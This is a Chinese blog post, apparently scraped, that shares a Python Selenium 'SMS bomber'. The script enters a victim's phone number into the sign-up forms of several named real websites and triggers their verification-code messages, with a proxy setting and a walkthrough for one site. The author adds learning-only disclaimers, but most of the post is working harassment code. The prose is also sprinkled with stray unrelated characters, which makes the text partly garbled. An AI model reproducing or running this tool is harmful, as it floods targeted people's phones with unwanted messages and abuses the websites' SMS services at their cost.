最近一直在琢磨寫(xiě)一個(gè)有點(diǎn)煩人的小爬蟲(chóng),結(jié)果琢磨著珍促,就花了一點(diǎn)點(diǎn)時(shí)間铃辖,寫(xiě)了這樣一個(gè)“不友好”的,被許多人討厭的爬蟲(chóng)??:頻繁收取短信驗(yàn)證碼的‘壞’程序猪叙,姑且稱(chēng)為是生活中的一個(gè)"小惡作劇"吧娇斩。
對(duì)不起啦??仁卷,對(duì)那些老被我獲取驗(yàn)證碼的網(wǎng)站(??并非有意要增加你們維護(hù)網(wǎng)站的成本??)。
【備注】:此小程序僅用做技術(shù)探究學(xué)習(xí)犬第,??不可用于侵犯他人利益锦积。
import time
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.common.by import By
# 設(shè)置代理
proxy = '220.191.64.149'
chrome_options = Options()
chrome_options.add_argument('--headless')
chrome_options.add_argument('--proxy-server = http://' + proxy)
broswer = webdriver.Chrome()
# 測(cè)試代理
# broswer.get('http://httpbin.org/get')
# 輸入即將收到短信的手機(jī)號(hào)碼
tel =
# 定位,并輸入手機(jī)號(hào)碼
def tel_num_try(input_tel):
print("【目前狀態(tài)】:\n定位號(hào)碼輸入框,并輸入手機(jī)號(hào)碼...")
try:
print("使用id定位中...")
bot1=broswer.find_element_by_id(input_tel)
bot1.send_keys(tel)
except:
print("【id定位失敗歉嗓!】:\n使用class_name定位中...")
bots2 = broswer.find_element(By.CLASS_NAME, input_tel)
time.sleep(1)
bots2.send_keys(tel)
# 定位并點(diǎn)擊(方案1)
def tel_power_try_child1(btn):
print("【當(dāng)前狀態(tài)】:定位元素丰介,點(diǎn)擊鼠標(biāo)..")
try:
print("使用id定位中...")
bot3 = broswer.find_element_by_id(btn)
# bot1 = broswer.find_element_by_css_selector(btn)
bot3.click()
time.sleep(1)
except Exception as e:
print("【id定位失敗遥椿!】\n 使用by_xpath定位中...")
bots4 = broswer.find_element_by_xpath(btn)
bots4.click()
time.sleep(1)
# 定位并點(diǎn)擊(方案2)
def tel_power_try_child2(btn):
print("【當(dāng)前狀態(tài)】:定位元素基矮,點(diǎn)擊鼠標(biāo)..")
try:
print("使用id定位中...")
bot3 = broswer.find_element_by_id(btn)
# bot1 = broswer.find_element_by_css_selector(btn)
bot3.click()
time.sleep(1)
except:
print("【id定位失敗冠场!】\n使用CSS_SELECTOR定位中...")
bots4 = broswer.find_element(By.CSS_SELECTOR, btn)
bots4.click()
time.sleep(1)
# 調(diào)用兩個(gè)點(diǎn)擊方案
def tel_power_try(btn):
try:
tel_power_try_child1(btn)
except:
tel_power_try_child2(btn)
# 模板:兩步獲取驗(yàn)證碼:手機(jī)號(hào)定位家浇,驗(yàn)證碼定位;
def tel_get_2(url,input_tel,btn):
# 獲取地址
broswer.get(url)
# 定位手機(jī)號(hào)輸入
tel_num_try(input_tel)
# 定位"獲取驗(yàn)證碼"按鈕
tel_power_try(btn)
# 模板:三步獲取驗(yàn)證碼:into:登錄定位碴裙,input_tel:手機(jī)號(hào)定位钢悲,btn:驗(yàn)證碼定位;
def tel_get_3(url,into,input_tel,btn):
# 獲取地址
broswer.get(url)
tel_power_try(into)
# 定位手機(jī)號(hào)輸入
tel_num_try(input_tel)
# 定位"獲取驗(yàn)證碼"按鈕
tel_power_try(btn)
# 模板:三步獲取驗(yàn)證碼:登錄定位舔株,手機(jī)號(hào)定位莺琳,驗(yàn)證碼定位;
def tel_get_k3(url,into,input_tel,btn):
# 獲取地址
broswer.get(url)
# 定位手機(jī)號(hào)輸入
tel_num_try(input_tel)
tel_power_try(into)
# 定位"獲取驗(yàn)證碼"按鈕
tel_power_try(btn)
# 模板:三步獲取驗(yàn)證碼:手機(jī)定位载慈,滑動(dòng)驗(yàn)證碼檢驗(yàn)(變速滑動(dòng))惭等、驗(yàn)證碼定位;(待續(xù))
# 模板:三步獲取驗(yàn)證碼:手機(jī)定位办铡,圖像文字識(shí)別檢驗(yàn)(涉及太廣)辞做、驗(yàn)證碼定位;(待續(xù))
【解釋一下】:對(duì)驗(yàn)證碼的獲取寡具,不同的網(wǎng)頁(yè)有不同的方式秤茅,但總結(jié)下來(lái),主要分為以下幾種:
- 兩步獲取驗(yàn)證碼:手機(jī)號(hào)定位童叠,驗(yàn)證碼定位框喳;
- 三步獲取驗(yàn)證碼:into:登錄注冊(cè)界面定位;input_tel:定位手機(jī)號(hào)輸入框厦坛;btn:驗(yàn)證碼按鈕定位五垮;
- 三步獲取驗(yàn)證碼:手機(jī)定位;滑動(dòng)驗(yàn)證碼檢驗(yàn)(變速滑動(dòng))杜秸;驗(yàn)證碼按鈕定位放仗;
- 三步獲取驗(yàn)證碼:手機(jī)定位,圖像文字識(shí)別檢驗(yàn)亩歹、驗(yàn)證碼定位匙监;(此塊內(nèi)容涉及知識(shí)面太廣凡橱,暫時(shí)不做考究);
下面以蘇寧易購(gòu)為例亭姥,(界面做的蠻好看的稼钩,點(diǎn)個(gè)贊)講述一下大致的短信獲取的步驟。
- 第一步:在進(jìn)入注冊(cè)成為新用戶(hù)之前达罗,我們要先點(diǎn)擊【同意并繼續(xù)】的按鈕坝撑,當(dāng)然,關(guān)于如何尋找并定位這個(gè)元素粮揉,可以通過(guò)開(kāi)發(fā)者工具巡李,然后找到此元素的(class_name、id)等一系列的可以定位此元素的屬性扶认,然后使用selenium庫(kù)模擬鼠標(biāo)點(diǎn)擊按鈕即進(jìn)入下一步侨拦;
以蘇寧易購(gòu)為例
-
第二步:
同第一步一樣,通過(guò)開(kāi)發(fā)者工具定位元素辐宾,使用selenium庫(kù)模擬輸入手機(jī)號(hào)碼即可狱从。
定位手機(jī)號(hào)輸入框 -
第三步:
同第二步一樣,通過(guò)開(kāi)發(fā)者工具定位元素叠纹,使用selenium庫(kù)模擬點(diǎn)擊【獲取驗(yàn)證碼】即可季研。
第三步
【后續(xù) 程序如下】:
# 短信轟炸機(jī):感覺(jué)自己在犯法的邊緣不斷試探
class Spider_tel():
def __init__(self):
pass
def TongCheng_com(self):
url = "https://passport.58.com/reg/?path=https%3A//gz.58.com/&PGTID=0d100000-0000-33f9-63ec-9ca2641f5e25&ClickID=3"
input_tel = 'phone'
btn = '.getcode'
print('【TongCheng_com】')
tel_get_2(url,input_tel,btn)
def Guazi_com(self):
url = "https://www.guazi.com/qinhuangdao/dazhong/"
into = 'js-login-new'
input_tel = "phone-login-input"
btn = '.get-code'
print('【Guazi_com】')
tel_get_3(url,into, input_tel, btn)
def JianShu(self):
url = "http://www.reibang.com/sign_up"
input_tel = 'user_mobile_number'
btn = 'send_code'
print('【JianShu】')
tel_get_2(url,input_tel,btn)
def SuNingYiGou(self):
url = "https://reg.suning.com/person.do?myTargetUrl=https%3A%2F%2Fwww.suning.com%2F%3Fsafp%3Dd488778a.uzD.0.acf325284e"
into = '.agree-btn'
input_tel = "mobileAlias"
btn = 'sendSmsCode'
print('【SuNingYiGou】')
tel_get_3(url,into, input_tel, btn)
def FanKe(self):
url = "https://www.fkw.com/reg.html"
input_tel = 'acct'
btn ='.button'
print('【FanKe】')
tel_get_2(url,input_tel,btn)
def WangyiYun(self):
# 難啃系數(shù)3顆星
url = "https://id.163yun.com/register?referrer=https://dun.163.com/dashboard&h=yd&"
into = ".yidun_intelli-text"
input_tel = "m-input"
btn = '.m-btn'
print('【W(wǎng)angyiYun】')
tel_get_k3(url,into, input_tel, btn)
def BeiRui(self):
url = 'https://console.oray.com/passport/register.html?fromurl=http%3A%2F%2Fdomain .oray.com%2F'
into = '//*[@id="tips-protocol-win"]/div/div/div/div[2]/p/ input[1]'
input_tel = "mobile"
btn = "re-get"
print('【BeiRui】')
tel_get_3(url,into, input_tel, btn)
def XueJia(self):
url = "https://cn.student.com/au/adelaide?utm_source=baidu&utm_medium=cpc&utm_campaign=3_destination_au_pc&utm_content=3_adelaide_g_web_p&utm_term=adelaide%E7%A7%9F%E6%88%BF%E7%BD%91#sign-up"
input_tel = 'input-field__input'
btn ='.send-button__text'
print('【XueJia】')
tel_get_2(url,input_tel,btn)
def run(self):
pass
# self.TongCheng_com()
# self.Guazi_com()
# self.JianShu()
# self.FanKe() #需要滑塊驗(yàn)證(留待解決)
# self.SuNingYiGou()
# self.WangyiYun()
# self.BeiRui()
# self.XueJia()
s = Spider_tel()
s.run()
【結(jié)語(yǔ)】:作者僅出于學(xué)習(xí)爬蟲(chóng)的初衷,分享本文誉察,如有問(wèn)題与涡,歡迎留言。